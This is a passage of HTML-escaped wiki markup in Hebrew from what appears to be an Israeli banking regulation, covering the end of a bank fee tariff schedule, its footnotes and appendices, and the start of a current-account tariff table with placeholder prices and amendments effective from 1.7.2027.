&lt;tr id=&quot;תוספת 1 חלק 15&quot;&gt;&lt;td colspan=&quot;4&quot;&gt;{{ממורכז|{{מוגדל|'''חלק 15 – שירותי ריכוז מידע פיננסי של לקוח וניתוחו&lt;sup&gt;9&lt;/sup&gt;'''}}}}&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת 1 פרט 15&quot;&gt;&lt;td&gt;
{{ח:ת}} '''15''' לפי פירוט שיקבע התאגיד הבנקאי
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;חלק 16&quot;&gt;&lt;td colspan=&quot;4&quot;&gt;{{ממורכז|{{מוגדל|'''חלק 16 – חבילות שירותים'''}}}}&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:תת|'''16'''}} '''חבילה . . . . . . . . . .''' (שם החבילה)
{{ח:ת}} לפי פירוט שיקבע התאגיד הבנקאי, באישור המפקח על הבנקים התאגיד
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;td&gt;הבנקאי יציג את תכולת החבילה בנספח א׳1&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;

{{ח:סעיף*|||תיקון: תשע״ד, תשע״ז, תשע״ט, תשפ״ה, תשפ״ה־2, תשפ״ו}}
{{ח:תת|{{מוקטן|1}}}} {{מוקטן|משיכה ממכשיר סמוך לסניף או ממכשיר נדרש באמצעות כל כרטיס, או משיכה ממכשיר מרוחק באמצעות כרטיס שהתאגיד הבנקאי הנפיק; לגבי משיכת מזומן ממכשיר מרוחק שאינו מכשיר נדרש באמצעות כרטיס שלא הונפק בידי התאגיד הבנקאי – התאגיד הבנקאי רשאי לגבות מחיר שונה, שיפורט {{ח:פנימי|תוספת 1 חלק 9|בחלק 9 לתעריפון}}.}}
{{ח:תת|{{מוקטן|2}}}} {{מוקטן|יש לשים לב לסעיף 2(ד) להוראת ניהול בנקאי תקין מס׳ 415 {{ח:חיצוני|כללי הבנקאות (שירות ללקוח) (גילוי נאות ומסירת מסמכים)#סעיף 31|ולסעיף 31 לכללי הבנקאות (שירות ללקוח) (גילוי נאות ומסירת מסמכים), התשנ״ב–1992}} (להלן – כללי הגילוי הנאות), שהעולה מהם הוא שהתאגיד הבנקאי אינו רשאי לגבות עמלה בעד שאילתה על מידע בסיסי כהגדרתו שם, ככל שהשאילתה פוטרת את התאגיד הבנקאי מלשלוח ללקוח, על פי {{ח:חיצוני|כללי הבנקאות (שירות ללקוח) (גילוי נאות ומסירת מסמכים)|כללי הגילוי הנאות}}, מידע זה; הוראת הניהול הבנקאי התקין האמורה ניתנת לעיון באתר האינטרנט של בנק ישראל, שכתובתו: www.bankisrael.gov.il (להלן – אתר האינטרנט).}}
{{ח:תת|{{מוקטן|3}}}} {{מוקטן|סך כל העמלות שיגבה התאגיד הבנקאי בשל פעולות לסגירת חשבון המפורטות להלן לא יעלה על 40 ש״ח (לא כולל עמלות בעד שירות מסלול, החזר הוצאות מסלקת הבורסה, קורספונדנט ועמלות פירעון מוקדם): העברת ניירות ערך לחשבון אותו לקוח בתאגיד בנקאי אחר בארץ, העברת ניירות ערך זרים לחשבון אותו לקוח בתאגיד בנקאי אחר בארץ, העברה בנקאית לחשבון של אותו לקוח בתאגיד בנקאי אחר בארץ, העברת מטבע חוץ לחשבון של אותו לקוח בתאגיד בנקאי אחר בארץ, החזרת שיקים דחויים למפקיד אגב סגירת חשבונו בתאגיד הבנקאי, אישור יתרה לפני פירעון מוקדם, ביטול הרשאות לחיוב חשבון וביטול הוראות קבע.}}
{{ח:תת}} {{מוקטן|{{ח:הערה|(החל מיום 1.7.2027):}} סך כל העמלות שיגבה התאגיד הבנקאי בשל פעולות לסגירת חשבון המפורטות להלן לא יעלה על 40 ש״ח (לא כולל החזר הוצאות מסלקת הבורסה, קורספונדנט ועמלות פירעון מוקדם): העברת ניירות ערך לחשבון אותו לקוח בתאגיד בנקאי אחר בארץ, העברת ניירות ערך זרים לחשבון אותו לקוח בתאגיד בנקאי אחר בארץ, העברה בנקאית לחשבון אותו לקוח בתאגיד בנקאי אחר בארץ, העברת מטבע חוץ לחשבון אותו לקוח בתאגיד בנקאי אחר בארץ, החזרת שיקים דחויים למפקיד אגב סגירת חשבונו בתאגיד הבנקאי, אישור יתרה לפני פירעון מוקדם, ביטול הרשאות לחיוב חשבון וביטול הוראות קבע.}}
{{ח:תת|{{מוקטן|4}}}} {{מוקטן|אך לרבות ”קרן מחקה“ כהגדרתה {{ח:חיצוני|חוק השקעות משותפות בנאמנות|בחוק השקעות משותפות בנאמנות, התשנ״ד–1994}}, וכן של קרן להשקעות משותפות בנאמנות, שיחידותיה רשומות בבורסה לניירות ערך בתל אביב.}}
{{ח:תת|{{מוקטן|5}}}} {{מוקטן|אך לרבות אופציה במחיר מימוש 1 ש״ח, הנסחרת בשוק המעו״ף.}}
{{ח:תת|{{מוקטן|6}}}} {{מוקטן|עמלות בעד שירותים שאינם כלולים {{ח:פנימי|תוספת 1 חלק 5|בחלק זה}}, אך כלולים {{ח:פנימי|תוספת 1 חלק 1|בחלק 1}}, ייגבו על פי האמור {{ח:פנימי|תוספת 1 חלק 1|בחלק 1}}. לעניין חישוב העמלה המינימלית כאמור {{ח:פנימי|תוספת 1 חלק 1|בחלק 1}} – הפקדת מזומן לחשבון מטבע חוץ, משיכת מזומן מחשבון מטבע חוץ, הפקדת שיק, פדיון שיק, העברת מטבע חוץ לחוץ לארץ ומחוץ לארץ, העברת מטבע חוץ בארץ ומבנק אחר בארץ, טיפול בשיק משוך על חשבון מטבע חוץ ומוצג לגביה, ייחשבו כפעולה על ידי פקיד.}}
{{ח:תת}} {{מוקטן|{{ח:הערה|(החל מיום 1.7.2027):}} עמלות בעד שירותים שאינם כלולים {{ח:פנימי|תוספת 1 חלק 5|בחלק זה}}, אך כלולים {{ח:פנימי|תוספת 1 חלק 1|בחלק 1}}, ייגבו על פי האמור {{ח:פנימי|תוספת 1 חלק 1|בחלק 1}}.}}
{{ח:תת|{{מוקטן|7}}}} {{מוקטן|מחיר השירות ייקבע בדרך של שיעור מסכום המשיכה.}}
{{ח:תת|{{מוקטן|8}}}} {{מוקטן| {{ח:פנימי|תוספת 1 חלק 14|חלק 14}} חל על שירות מקוון שמאפשר למשלם להעביר כספים למוטב על סמך פרט מזהה של המוטב, ומאפשר למוטב לקבל כספים על סמך פרט מזהה שלו; ואולם {{ח:פנימי|תוספת 1 חלק 14|חלק 14}} אינו חל על אפליקציית תשלום של תאגיד בנקאי, המשמשת רק לקוחות שמנהלים חשבון עובר ושב באותו תאגיד בנקאי.}}
{{ח:תת|{{מוקטן|9}}}} {{מוקטן| {{ח:פנימי|תוספת 1 חלק 15|חלק זה}} נוגע רק לשירותים הכוללים ריכוז מידע מגופים פיננסיים שונים, ובכלל זה התאגיד הבנקאי.}}

{{ח:סעיף*|||תיקון: תשע״ז, תשפ״ד, תשפ״ו}}
{{ח:ת}} '''נספחים לתעריפון, שיימסרו ללקוח:'''
{{ח:ת}} נספח א׳ – הטבות לקבוצות אוכלוסיה
{{ח:ת}} נספח א׳1 – {{ח:הערה|(החל מיום 1.7.2027):}} חבילות שירותים – {{ח:פנימי|תוספת 1 חלק 16|חלק 16}}
{{ח:ת}} נספח ב׳ – שיקים מסחריים ומיוחדים
{{ח:ת}} נספח ג׳ – טבלת ימי הערך
{{ח:ת}} נספח ד׳ – דמי כרטיס, לפי סוג הכרטיס
{{ח:ת}} נספח ה׳ – הטבות בערוצי בנקאות בתקשורת. הנספח יכלול הטבות במחירי שירותים המוצעים בערוצים הישירים (בהתאם {{ח:פנימי|סעיף 2|לסעיף 2(ג) לכללים}}) ובאמצעות ערוץ מוקד טלפוני מאויש, אם ניתנת בו הטבה. הנספח יכיל טבלה ובה עמודות אלה:
{{ח:תתת|(א)}} עמודה שכותרתה ”שם השירות“ ובה יתוארו השירותים באופן הקבוע {{ח:פנימי|תוספת 1|בתוספת זו}};
{{ח:תתת|(ב)}} עמודה שכותרתה ”מחיר לפי סוגי ערוצים“ ובה יובאו המחירים בפילוח לפי סוגי הערוצים הקיימים בתאגיד הבנקאי, וכן בערוץ המוקד הטלפוני המאויש, אם ניתנת בו הטבה;
{{ח:תתת|(ג)}} עמודה שכותרתה ”מחיר באמצעות פקיד“ ובה יובאו מחירי השירותים באמצעות פקיד, שנקבעו לפי {{ח:פנימי|תוספת 1|תוספת זו}}.
{{ח:ת}} נספח ו׳ – {{ח:הערה|(החל מיום 1.7.2027):}} שירותים הנכללים בשירות ”ניהול חשבון תשלום“
{{ח:תת}} הנספח מפרט את השירותים הכלולים {{ח:פנימי|תוספת 1 פרט 1א.1א|בפרט 1(א)(1א) לתעריפון המלא}}, שעניינו ”ניהול חשבון תשלום“:
{{ח:תת}} &lt;table style=&quot;width:80%; margin: auto;&quot;&gt;
&lt;tr&gt;&lt;th width=&quot;40%&quot;&gt;שם השירות&lt;/th&gt;&lt;th width=&quot;60%&quot;&gt;הערות&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:תת|(1)}} הפקדה, משיכה ופריטה של מזומן, לרבות במכשיר אוטומטי
&lt;/td&gt;&lt;td&gt;
{{ח:תת|(1)}} השירות כולל פעולה במטבעות מתחת ל־100 מטבעות או פעולה בשטרות מתחת לסכום של 10,000 ש״ח; מעל הכמות או הסכום האמורים ראו שירות ”טיפול במזומנים על ידי פקיד“;
{{ח:תת|(2)}} פעולת פריטת מזומן כוללת את משיכתו או הפקדתו;
{{ח:תת|(3)}} פעולת פריטה הכוללת מטבעות ושטרות, תמנה כפעולה אחת בלבד;
{{ח:תת|(4)}} השירות כולל פעולה בחשבון התשלום של משיכת מזומן ממכשיר אוטומטי; למעט פעולה בחשבון התשלום של משיכת מזומן ממכשיר מרוחק, שאינו מכשיר נדרש, באמצעות כרטיס שלא הונפק בידי התאגיד הבנקאי – במקרה זה, התאגיד הבנקאי רשאי לגבות מחיר שונה שיפורט בחלק 9 לתעריפון
&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:תת|(2)}} העברה לחשבון אחר
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} השירות כולל העברות בכל מערכות התשלומים, בין היתר, העברה של עד 1 מיליון ש״ח לבנק אחר באמצעות מערכת הזיכויים וההעברות בזמן אמת (RTGS);
{{ח:ת}} בהעברה של מעל 1 מיליון ש״ח לבנק אחר – ראו שירות ”העברה במערכת הזיכויים וההעברות בזמן אמת (RTGS) מעל 1 מיליון ש״ח“
&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:תת|(3)}} משיכת שיק מחשבון המשלם
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:תת|(4)}} פדיון שיק (משיכת התמורה במזומן כולל משיכה בשיק עצמי)
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:תת|(5)}} הפקדת שיק לפירעון בחשבון המוטב, לרבות באמצעות תיבת שירות
&lt;/td&gt;&lt;td&gt;כל קבוצת שיקים, המופקדת יחד, עד 20 שיקים, תיחשב כפעולה אחת&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:תת|(6)}} תשלום שובר
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:תת|(7)}} זיכוי חשבון באמצעות מסלקה
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:תת|(8)}} חיוב חשבון התשלום בשל תשלומים בכרטיס אשראי
&lt;/td&gt;&lt;td&gt;לא כולל חיוב חשבון התשלום בשל תשלומים בכרטיס חיוב מיידי&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:תת|(9)}} חיוב מכוח הרשאה לחיוב חשבון או הוראת קבע
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:תת|(10)}} הוראה לביטול חיוב:
{{ח:תתת|(1)}} שיק;
{{ח:תתת|(2)}} חיוב בודד מכוח הרשאה לחיוב חשבון;
{{ח:תתת|(3)}} הוראת תשלום בודדת מכוח הוראת קבע
&lt;/td&gt;&lt;td&gt;במקרה של ביטול סדרה של שיקים עוקבים או סדרת חיובים עוקבים מכוח הוראת קבע, ייספרו לכל היותר 3 פעולות&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:תת|(11)}} שיק ממוחשב שהופקד לפירעון עתידי – שירות זה כולל:
{{ח:תתת|(1)}} הפקדת השיק;
{{ח:תתת|(2)}} שינוי מועד להצגת השיק לפירעון;
{{ח:תתת|(3)}} ביטול הפקדת השיק טרם פירעונו
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:תת|(12)}} הדפסה של מסמכים המצויים במאגר הממוחשב, לבקשת לקוח
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:תת|(13)}} הדפסת דוחות שגרתיים שאינם כרוכים באיסוף מידע, לבקשת לקוח
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:תת|(14)}} איתור מסמכים, לבקשת לקוח
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;

{{ח:קטע2|תוספת 2|תוספת שניה}}
{{ח:קטע4||{{ח:הערה|({{ח:פנימי|סעיף 3|סעיף 3(1)}})}}}}
{{ח:קטע3|תוספת שב|תעריפון עובר ושב {{ח:הערה|(החל מיום 1.7.2027: תעריפון חשבון תשלום)}}|תיקון: תשפ״ו}}

{{ח:סעיף*|||תיקון: תשס״ח, תשס״ח־2, תשע״ג, תשע״ד, תשע״ה, תשע״ה־3, תשע״ו, תשע״ט, תשפ״ד, תשפ״ו}}
{{ח:ת}} &lt;table width=&quot;100%&quot;&gt;
&lt;tr&gt;&lt;th colspan=&quot;2&quot;&gt;שירות&lt;/th&gt;&lt;th width=&quot;20%&quot;&gt;מחיר&lt;/th&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת שב פרט 1&quot;&gt;&lt;td width=&quot;30%&quot;&gt;
{{ח:תת|1.}} '''דמי ניהול'''
&lt;/td&gt;&lt;td&gt;{{ח:הערה|(נמחק)}}&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת שב פרט 2&quot;&gt;&lt;td rowspan=&quot;2&quot;&gt;
{{ח:תת|2.}} '''פעולות בסיסיות'''&lt;sup&gt;1&lt;/sup&gt;
&lt;/td&gt;&lt;td&gt;
{{ח:תת|(א)}} פעולה על ידי פקיד (פעולות בסניף, כולל פעולות באמצעות טלפון או פקס׳, באמצעות מוקד טלפוני מאויש) {{ש}} {{מוקטן|שירות זה כולל אחת הפעולות האלה, הנעשות באמצעות פקיד בנק, לרבות באמצעות מוקד טלפוני מאויש: הפקדת מזומן, משיכת מזומן, הפקה ומשלוח תדפיס לבקשת לקוח, העברה או הפקדה לחשבון אחר, פדיון שיק (כולל משיכה בשיק עצמי), הפקדת שיק (לכל קבוצת שיקים – עד 20 שיקים), תשלום שובר, פריטת מזומן.}} {{ש}} {{מוקטן|לקוח שאינו מחזיק כרטיס למשיכת מזומן, לקוח שהוא אדם עם מוגבלות ולקוח שהוא אזרח ותיק, זכאים ל־4 פעולות על ידי פקיד, בחודש, במחיר פעולה בערוץ ישיר.}}
&lt;/td&gt;&lt;td&gt;. . . . ש״ח (בפיקוח)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:תת|(ב)}} פעולה בערוץ ישיר {{ש}} {{מוקטן|שירות זה כולל אחת הפעולות האלה: זיכוי חשבון באמצעות מסלקה, חיוב בכרטיס אשראי למעט כרטיס לחיוב מיידי, הפקדת מזומן, משיכת מזומן במכשיר אוטומטי&lt;sup&gt;2&lt;/sup&gt;, העברה או הפקדה לחשבון אחר, תשלום שובר, שאילתת מידע בכל נושא (החל בשאילתה השביעית בחודש)&lt;sup&gt;3&lt;/sup&gt;, משיכת שיק הפקדת שיק (לכל קבוצת שיקים – עד 20 שיקים), לרבות באמצעות תיבת שירות, חיוב על פי הרשאה לחיוב חשבון או הוראת קבע{{ח:הערה|.}}}}
&lt;/td&gt;&lt;td&gt;. . . . ש״ח&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת שב פרט 3&quot;&gt;&lt;td&gt;
{{ח:תת|3.}} '''פנקס שיקים'''
&lt;/td&gt;&lt;td&gt;פנקס שיקים רגיל&lt;/td&gt;&lt;td&gt;. . . . ש״ח (בפיקוח)&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת שב פרט 4&quot;&gt;&lt;td rowspan=&quot;2&quot;&gt;
{{ח:תת|4.}} '''מסגרת אשראי'''
&lt;/td&gt;&lt;td&gt;
{{ח:תת|(א)}} הקצאת אשראי ליחיד (במקרה של אי־ניצול מסגרת האשראי ברבעון)
&lt;/td&gt;&lt;td&gt;. . . . ש״ח לרבעון&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:תת|(ב)}} הקצאת אשראי לעסק קטן
&lt;/td&gt;&lt;td&gt;. . . . אחוז&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת שב פרט 5&quot;&gt;&lt;td&gt;
{{ח:תת|5.}} '''כרטיסים מגנטיים'''
&lt;/td&gt;&lt;td&gt;{{ח:הערה|(נמחק)}}&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת שב פרט 6&quot;&gt;&lt;td rowspan=&quot;4&quot;&gt;
{{ח:תת|6.}} '''החזרת חיובים'''
&lt;/td&gt;&lt;td&gt;
{{ח:תת|(א)}} החזרת חיוב מסיבת אין כיסוי מספיק (ומהסיבות מוגבל, מעוקל וצו משפטי) {{ש}} {{מוקטן|חיוב באמצעות הוראת קבע, הרשאה לחיוב חשבון, שיק}}
&lt;/td&gt;&lt;td&gt;. . . . ש״ח&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:תת|(ב)}} חיוב מושך בהחזרת שיק מסיבה טכנית
&lt;/td&gt;&lt;td&gt;. . . . ש״ח&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:תת|(ג)}} {{ח:הערה|(נמחק)}}
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:תת|(ד)}} הוראה לביטול חיוב {{ש}} {{מוקטן|חיוב: שיק, חיוב בודד על פי הרשאה לחיוב חשבון וחיוב בודד על פי הוראת קבע}}
&lt;/td&gt;&lt;td&gt;. . . . ש״ח&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת שב פרט 7&quot;&gt;&lt;td rowspan=&quot;2&quot;&gt;
{{ח:תת|7.}} '''שירותים מיוחדים'''
&lt;/td&gt;&lt;td&gt;
{{ח:תת|(א)}} טיפול במזומנים על ידי פקיד {{ש}} {{מוקטן|שירות זה כולל: משיכת מזומן, הפקדת מזומן ופריטת מזומן}}
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} '''מטבעות''' {{ש}} . . . . ש״ח לכל 100 מטבעות
{{ח:ת}} '''שטרות''' {{ש}} . . . . אחוז (מעל 10,000 ש״ח)
&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:תת|(ב)}} שיק בנקאי
&lt;/td&gt;&lt;td&gt;. . . . ש״ח&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת שב פרט 8&quot;&gt;&lt;td rowspan=&quot;4&quot;&gt;
{{ח:תת|8.}} '''מידע'''
&lt;/td&gt;&lt;td&gt;
{{ח:תת|(א)}} הפקה או הדפסה של מסמכים המצויים במאגר הממוחשב לבקשת לקוח
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} '''זמינים בסניף''' – . . . . ש״ח לבקשה בתוספת . . . . ש״ח לכל עמוד
{{ח:ת}} '''אינם זמינים בסניף''' – . . . . ש״ח לבקשה בתוספת . . . . ש״ח לכל עמוד
&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:תת|(ב)}} דוחות לבקשת לקוח {{מוקטן|(למעט באמצעות האינטרנט)}} {{ש}} {{מוקטן|'''דוחות סטנדרטים, כגון:''' אישור יתרות, פירוט תשלומים של הלוואה, פירוט רכיבי תשלום של הלוואה, לוח סילוקין נוסף, פירוט תיק ניירות ערך, שיחזור תנועות בניירות ערך, אישור בעלות (החל מהאישור השני במהלך השנה), מכתב המלצה.}} {{ש}} {{מוקטן|'''דוחות הכרוכים באיסוף מידע, למשל:''' מסירת מידע היסטורי בדבר ריביות, שערי חליפין, שערי ניירות ערך, וכן מכתבים לא סטנדרטיים.}}
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} '''דוחות סטנדרטים''' {{ש}} . . . . ש״ח (בפיקוח)
{{ח:ת}} '''דוחות הכרוכים באיסוף מידע''' {{ש}} . . . . ש״ח
&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:תת|(ג)}} איתור מסמכים לבקשת לקוח
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} . . . . ש״ח לבקשה
&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:תת|(ד)}} קבלת מידע בתקשורת לבקשת הלקוח {{ש}} {{מוקטן|שירות זה כולל מתן מידע באמצעים כמו: פקס׳, טלפון, טלפון סלולרי, דואר אלקטרוני}}
&lt;/td&gt;&lt;td&gt;. . . . ש״ח&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת שב פרט 9&quot;&gt;&lt;td&gt;
{{ח:תת|9.}} '''שירותים נוספים'''
&lt;/td&gt;&lt;td&gt;לשירותים נוספים ראו התעריפון המלא&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת שב פרט 10&quot;&gt;&lt;td rowspan=&quot;3&quot;&gt;
{{ח:תת|10.}} '''מסלול'''
&lt;/td&gt;&lt;td&gt;
{{ח:תת|(א)}} '''מסלול בסיסי''' {{ש}} {{מוקטן|מסלול הכולל עד פעולה אחת על ידי פקיד ועד 10 פעולות בערוץ ישיר}}
&lt;/td&gt;&lt;td&gt;. . . . ש״ח לחודש (בפיקוח)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:תת|(ב)}} '''מסלול מורחב''' {{ש}} {{מוקטן|מסלול הכולל עד 10 פעולות על ידי פקיד ועד 50 פעולות בערוץ ישיר}}
&lt;/td&gt;&lt;td&gt;. . . . ש״ח לחודש (בפיקוח)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:תת|(ג)}} '''מסלול מורחב פלוס''' {{ש}} {{מוקטן|מסלול הכולל את הפעולות ומספרן לפי המסלול המורחב, וכן שירותים נוספים לפי החלטת התאגיד הבנקאי}}
&lt;/td&gt;&lt;td&gt;. . . . ש״ח לחודש (בפיקוח)&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
{{ח:ת}} {{ח:הערה|(החל מיום 1.7.2027):}}
{{ח:ת}} &lt;table width=&quot;100%&quot;&gt;
&lt;tr&gt;&lt;th colspan=&quot;2&quot;&gt;שירות&lt;/th&gt;&lt;th width=&quot;20%&quot;&gt;מחיר&lt;/th&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת שב פרט 1&quot;&gt;&lt;td width=&quot;30%&quot;&gt;
{{ח:תת|1.}} '''דמי ניהול'''
&lt;/td&gt;&lt;td&gt;{{ח:הערה|(נמחק)}}&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת שב פרט 2&quot;&gt;&lt;td rowspan=&quot;3&quot;&gt;
{{ח:תת|2.}} ניהול חשבון תשלום
&lt;/td&gt;&lt;td&gt;0 עד 2 פעולות בחודש&lt;/td&gt;&lt;td&gt;. . . . ש״ח (בפיקוח)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;3 עד 100 פעולות בחודש&lt;/td&gt;&lt;td&gt;. . . . ש״ח (בפיקוח)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;פעולה נוספת מעל 100 פעולות&lt;/td&gt;&lt;td&gt;. . . . ש״ח (בפיקוח)&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת שב פרט 3&quot;&gt;&lt;td&gt;
{{ח:תת|3.}} '''פנקס שיקים'''
&lt;/td&gt;&lt;td&gt;פנקס שיקים רגיל&lt;/td&gt;&lt;td&gt;. . . . ש״ח (בפיקוח)&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת שב פרט 4&quot;&gt;&lt;td rowspan=&quot;2&quot;&gt;
{{ח:תת|4.}} '''מסגרת אשראי'''
&lt;/td&gt;&lt;td&gt;
{{ח:תת|(א)}} הקצאת אשראי ליחיד (במקרה של אי־ניצול מסגרת האשראי ברבעון)
&lt;/td&gt;&lt;td&gt;. . . . ש״ח לרבעון&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:תת|(ב)}} הקצאת אשראי לעסק קטן
&lt;/td&gt;&lt;td&gt;. . . . אחוז&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת שב פרט 5&quot;&gt;&lt;td&gt;
{{ח:תת|5.}} '''כרטיסים מגנטיים'''
&lt;/td&gt;&lt;td&gt;{{ח:הערה|(נמחק)}}&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת שב פרט 6&quot;&gt;&lt;td rowspan=&quot;4&quot;&gt;
{{ח:תת|6.}} '''החזרת חיובים'''
&lt;/td&gt;&lt;td&gt;
{{ח:תת|(א)}} החזרת חיוב מסיבת אין כיסוי מספיק (ומהסיבות מוגבל, מעוקל וצו משפטי) {{ש}} {{מוקטן|חיוב באמצעות הוראת קבע, הרשאה לחיוב חשבון, שיק}}
&lt;/td&gt;&lt;td&gt;. . . . ש״ח&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:תת|(ב)}} {{ח:הערה|(נמחקה)}}
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:תת|(ג)}} {{ח:הערה|(נמחק)}}
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:תת|(ד)}} {{ח:הערה|(נמחקה)}}
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת שב פרט 7&quot;&gt;&lt;td rowspan=&quot;2&quot;&gt;
{{ח:תת|7.}} '''שירותים מיוחדים'''
&lt;/td&gt;&lt;td&gt;
{{ח:תת|(א)}} טיפול במזומנים על ידי פקיד {{ש}} {{מוקטן|שירות זה כולל: משיכת מזומן, הפקדת מזומן ופריטת מזומן}}
&lt;/td&gt;&lt;td&gt;
{{ח:ת}} '''מטבעות''' {{ש}} . . . . ש״ח (לכל 100 מטבעות)
{{ח:ת}} '''שטרות''' {{ש}} . . . . אחוז (מעל 10,000 ש״ח)
&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:תת|(ב)}} שיק בנקאי
&lt;/td&gt;&lt;td&gt;. . . . ש״ח&lt;/td&gt;&lt;/tr&gt;
&lt;tr id=&quot;תוספת שב פרט 8&quot;&gt;&lt;td rowspan=&quot;4&quot;&gt;
{{ח:תת|8.}} '''מידע'''
&lt;/td&gt;&lt;td&gt;
{{ח:תת|(א)}} {{ח:הערה|(נמחקה)}}
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:תת|(ב)}} דוחות לבקשת לקוח הכרוכים באיסוף מידע, למשל: מסירת מידע היסטורי בדבר ריביות, שערי חליפין, שערי ניירות ערך, וכן מכתבים לא שגרתיים או מכתב המלצה
&lt;/td&gt;&lt;td&gt;. . . . ש״ח&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
{{ח:תת|(ג)}} {{ח:הערה|(נמחקה)}}
&lt;/td&gt;&lt;td&gt;&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;
